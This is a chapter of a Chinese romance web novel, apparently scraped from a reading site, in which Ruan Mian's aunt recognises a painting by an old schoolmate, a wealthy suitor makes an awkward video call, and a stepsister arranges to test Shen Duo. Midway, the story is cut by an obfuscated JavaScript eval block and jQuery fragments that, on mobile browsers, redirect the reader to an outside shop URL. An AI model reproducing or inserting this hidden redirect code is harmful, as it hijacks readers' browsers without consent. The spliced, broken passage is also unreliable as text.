范淑娴眼光毒辣,加之这幅向日葵图有当年同门学姐的风骨,她应当不会看错。
她快步走下楼梯,顺手拿起桌边的眼镜戴上。而后接过阮绵手里的画,于亮处坐下,仔细欣赏。
阮绵外行人,自然不懂个中门道,只亦步亦趋地跟着坐下,小声问道:“怎么了小姨,你见过这画?”
“嗯,颇有故人之风。”范淑娴头未抬,淡淡回复,直到看见画作右下角,向日葵花海虚化部分的绿叶处,浅浅藏着一个字“沈”。
果然,范淑娴挑眉,唇角的笑意越发深刻,直至笑出了声。
“好了我已经知道了,不是颇有,这就是故人的画作。画者叫沈敏怡,对吧?”范淑娴终于抬了头,望着自己的外甥女。
“是啊是啊,正是我好友的母亲!小姨,您简直绝了,料事如神啊!”阮绵时刻不忘拍马屁。
“怎么,沈阿姨跟您有故事?”
“故事谈不上,顶多算有过交集。”范娴淑抿了口红茶,目光稍稍放空,陷入一些久远回忆。
“沈敏怡可不是什么素人,她是我读京市美院时候的同门学姐,比我大了得有四五届吧。我上本科的时候,她已经保研了,是导师的得意门生。她的画风清丽阳光,更有着韧性,外人只模仿的了神,却仿不了魂,因为这是由个人心境决定的。我就记得老师可喜欢她了,她还给我们上过几节课。后来,说是放弃大好前程,回老家结婚生子了,怪可惜的。为此,老师唉声叹气了好些时候。”
阮绵满脸震惊,这简直就是明珠蒙尘啊,自己此番举动太明智了!
沈阿姨放弃理想、结婚生子就罢了,到头来累垮了身体、只她一人。命运弄人,饶是通透如沈阿姨,也逃不过艺术家天生的浪漫主义思想的宿命。
“这么厉害!”阮绵除了赞叹,说不出别的。
“是啊,没想到她还在创作。”范淑娴感慨万分,“既如此,我这个做学妹的,当然得献上一份复出大礼。行了,只要她同意,以后她画作方面的事就包我身上了。”
“嗯嗯!我替朋友谢谢伟大的人民艺术家?您!”
“她的联系方式我应该还有,回头我自己对接。好了,没什么事你就早点回家吧,本艺术家要继续创作了,拜拜。”
阮绵:……
好绝情!
范淑娴摘下眼镜,捏着沈母的画,头也不回地往楼上走。
“哦对了,那边柜子里有上好的普洱,你随便拿,带回去给你爸、还有琴姐喝。出门的时候,帮我把门带紧点。”
“哦,知道了。”
范淑娴坐回楼上画室,又仔细看了沈母的向日葵花。心境有了改变,这花朵确实跟着变化了。
当初纯澈向上的学姐到底经历了什么,才会让画作有面对逆境不折腰的味道在里头。
等等,若她没记错,学姐生的是个男孩。
那绵绵的朋友……比她大很多的异性朋友?
范淑娴美眸微眯,好家伙,自己这是上了岁数了,反射弧都长了。
姐夫前一阵还关照她,留意合适的青年才俊,现在看来,落花已然有了意中人?!
*
打车回去的路上,阮绵全程脑补沈母年轻时候的绝代风华。难怪她这般有气质,竟是科班出身。
临近下班高峰,市区主干道有些堵车。因此,原本十五分钟的车程,硬生生开了四十分钟。
中途,阮绵接到了沈铎的慰问信息,关心她是否安全到家了。
看着同男神的聊天界面,阮绵笑得跟两百斤的傻子似的。为了不让他担心,她撒了慌称自己安全抵达。
然,她的好心情注定又要被破坏,那就是踩点准到仿佛在她身上装了GPS的孟大少又打来了视频电话,就在她刚进家门换好拖鞋的那一秒。
阮绵皱眉,如果不接,凭孟似锦的执着度,不打到她接是不会罢休的。
思及此,她到底按下了接通键。
“咦,绵绵你才到家么?保安说你很早就离开了。”
孟似锦已然坐在私人休息室的黑色真皮沙发上,西装外套被随意搭在一边,上身只着浅灰色骚包衬衫。
重点是他把前两颗扣子松开了,边跟她视频边单手解第三颗。这把好了,用力过猛,露得多了,胸肌都快蹦出来了。好巧不巧,他这镜头角度刚好对准裸露皮肤。
阮绵:……
不是,你热就开空调,隔这儿释放什么自以为是的男性魅力?她跟他打小就认识,对于比自己小两岁的、已经没有神秘感的“弟弟”,她是真没把他当异性。
“是啊,闲着没事干,去商场逛了逛。这不赶上晚高峰了,就堵了会儿。”
阮绵目不斜视,装作找东西般在客厅晃悠。哎呀,得亏自家别墅够大,一个客厅都能让她找个二十分钟。
说实话,在外人看来,浙省首富之子、金融海归、年轻有头脑、长得帅素质还高,简直挑不出一丝毛病。
这就是孟似锦,全国最想嫁排行榜,稳居前三之位。可想嫁他的女人们里,唯独不包括阮绵。
拜托,这家伙上个小学还要跳两级,跳着跳着就跟她成了同班同学。
自小学五年级开始、至大学本科结束,做了整整十二年同班同学,我的老天奶啊,再帅的帅哥都看得审美疲劳了好么!
阮绵无比庆幸,自己没出息,没去读研深造。不然,八成还得是同学!
两家老父亲同为各省首富,关系好就算了,可不兴孩子间也得处得好吧?!难不成友谊还要搞世袭制啊,距离才能产生美!
“对了,我听保安说,你今天跟一个男明星走一块了?”孟似锦不经意问道。
“恩是啊,资深男明星了,我打小看着他戏长大的。碰巧遇上了,就打个招呼。”
孟似锦肯定知道了对方是沈铎,阮绵因此故意演得大方又自然。
琴姨怎么还不来救我,阮绵在心里哀嚎!
所幸,老天终究眷顾了她一回。
别墅大门传来声响,竟然是她许久未见的亲亲继姐万静好回来了!
“好好姐,你回来啦~”阮绵忙提高音量,表情浮夸。
“嗯,你在忙什么呢?”
万静好稍有疲色,可眸中洞悉的光是一点不减。
“跟谁聊天呢,我避一避?”
读懂了自家继妹的暗示,万
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023718|146577||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
静好故意以退为进。
“啊没事,你认识的,孟似锦。”
阮绵浅笑嫣然,将镜头对准了万静好。
孟似锦显然同步调整了自己的镜头角度,人模狗样、一本正经,却依旧带了些不自然。
“嗨好久不见了,万总。”孟似锦笑着打招呼。
“好久不见,孟总。改日得见,还得多向您学习和请教。”
“害,静好姐折煞我!时候不早了,我还有个跨国会,那回聊,拜拜~”
“吁……”阮绵长舒口气,可算是清静了。
见着万静好回来,阮绵眼睛一亮,忙讨好地扶她坐下,端茶拿点心,极至殷勤。
万静好岂会不知她的心思,她今日回来也是有着进一步的打算的。
“孟似锦经常给你打电话?”万静好问道。
“倒也没有……就年前和过年的时候打过,还有就是今天,被你遇上了。”
阮绵认真回忆,老实回答。
“嗯,好。”
万静好喝了口柠檬茶,脑子里想着孟似锦。
按理说,阮家和孟家交好,这孟似锦似乎挑不出错,那阮伯伯最钟意的女婿应当非孟似锦莫属才对,显然孟家也有这方面的意思。
然,阮伯伯并没这个打算。她虽然想不通个中缘由,但她知道,阮伯伯定有他的道理。
眼下,这孟似锦司马昭之心,盯绵绵盯得又紧。看来,绵绵的担心不无道理。她就像是刚出锅的肥肉,多少人明目张胆、虎视眈眈。
别回头绵绵被孟似锦糖衣炮弹拐走了,相较之下,沈铎此人确实也还算可以。
至少是满足阮伯伯基本要求的。
当然,别人的考验还不够,她得亲自会会他,探探他的底,这也是她赶回来的原因。
眼瞧着亲亲继姐走神,不理睬自己,阮绵厚着脸皮,为了爱情,脸没了就没了吧。
“姐姐,我和……”
“放心,一切正在有序进行,我有数,很快就会给你答复。”
“可是……可是你总说很快很快,这很快了都十多天了,到底还要多久啊……”
撅嘴撒娇什么的,这番举措别人做来乃矫揉造作。可阮绵做来,则是撩人心弦,忍不住疼她宠她!
万静好无奈,“这次是真的很快,最多四天,可好?”
“我不管,两天!”
“三天。”
“……好吧,成交。”该唾弃的奸商!
万静好忍不住笑出声,轻捏她的脸颊,“你啊……”
说人坏话就算了,还说的这般大声,啥毛病这是。
*
距离零点还差十分钟,刚录完音的沈铎收到了一条陌生短信。
“明天中午十二点,三角场地下室,恭候大驾。 ——万静好”
三角场地下室?据他所知,是这一带□□混混们的老巢。
这是“恶毒继姐”拉风劲爆的人设出场方式么?有意思。
绵绵口中的“恶毒继姐”,他定要会上一会。
“好。今天中午,不见不散。——沈铎”
按下信息发送键,不早不晚,正好今天零点。